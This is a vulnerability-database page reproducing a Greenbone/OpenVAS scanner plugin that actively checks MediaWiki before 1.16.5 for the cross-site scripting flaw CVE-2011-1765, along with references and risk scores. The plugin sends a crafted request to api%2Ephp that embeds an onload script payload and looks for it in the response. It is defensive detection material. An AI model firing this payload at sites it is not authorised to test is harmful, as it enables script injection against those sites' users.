MediaWiki < 1.16.5 XSS Vulnerability - Active Check

MediaWiki < 1.16.5 XSS Vulnerability - Active Check. Cross-site scripting vulnerability allows execution of arbitrary HTML and script code in user's browser session. Affects MediaWiki versions prior to 1.16.5. Solution: Update to 1.16.5 or later

Reporter	Title	Published	Views	Family All 18
CVE	CVE-2011-1765	23 May 201122:00	–	cve
Cvelist	CVE-2011-1765	23 May 201122:00	–	cvelist
Debian CVE	CVE-2011-1765	23 May 201122:00	–	debiancve
EUVD	EUVD-2011-1764	7 Oct 202500:30	–	euvd
Fedora	[SECURITY] Fedora 13 Update: mediawiki-1.16.5-59.fc13	20 May 201120:58	–	fedora
Fedora	[SECURITY] Fedora 14 Update: mediawiki-1.16.5-59.fc14	20 May 201120:55	–	fedora
Fedora	[SECURITY] Fedora 15 Update: mediawiki-1.16.5-59.fc15	19 May 201105:09	–	fedora
Tenable Nessus	Fedora 14 : mediawiki-1.16.5-59.fc14 (2011-6774)	23 May 201100:00	–	nessus
Tenable Nessus	Fedora 13 : mediawiki-1.16.5-59.fc13 (2011-6775)	23 May 201100:00	–	nessus
Tenable Nessus	Fedora 15 : mediawiki-1.16.5-59.fc15 (2011-6781)	19 May 201100:00	–	nessus

Source	Link
lists	www.lists.wikimedia.org/pipermail/mediawiki-announce/2011-May/000098.html
bugzilla	www.bugzilla.redhat.com/show_bug.cgi
securityfocus	www.securityfocus.com/bid/47722
bugzilla	www.bugzilla.wikimedia.org/show_bug.cgi

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mediawiki:mediawiki";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902380");
  script_version("2024-07-16T05:05:43+0000");
  script_cve_id("CVE-2011-1765");
  script_tag(name:"last_modification", value:"2024-07-16 05:05:43 +0000 (Tue, 16 Jul 2024)");
  script_tag(name:"creation_date", value:"2011-06-02 11:54:09 +0200 (Thu, 02 Jun 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("MediaWiki < 1.16.5 XSS Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_mediawiki_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("mediawiki/http/detected");

  script_xref(name:"URL", value:"https://bugzilla.redhat.com/show_bug.cgi?id=702512");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47722");
  script_xref(name:"URL", value:"https://bugzilla.wikimedia.org/show_bug.cgi?id=28534");
  script_xref(name:"URL", value:"http://lists.wikimedia.org/pipermail/mediawiki-announce/2011-May/000098.html");

  script_tag(name:"summary", value:"MediaWiki is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to an error when handling the file extension
  such as '.shtml' at the end of the query string, along with URI containing a '%2E' sequence in
  place of the .(dot) character.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"MediaWiki version prior to 1.16.5.");

  script_tag(name:"solution", value:"Update to version 1.16.5 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/api%2Ephp?action=query&meta=siteinfo&format=json&siprop=%3Cbody%20onload=alert('document.cookie')%3E.shtml";

req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( ! res || res !~ "^HTTP/1\.[01] 200" )
  exit( 0 );

if( "Invalid file extension found in PATH_INFO or QUERY_STRING." >!< res &&
    "<body onload=alert('document.cookie')>.shtml" >< res &&
    "Status: 403 Forbidden" >!< res ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

16 Jul 2024 00:00Current

5.7Medium risk

Vulners AI Score5.7

CVSS 24.3

EPSS0.02098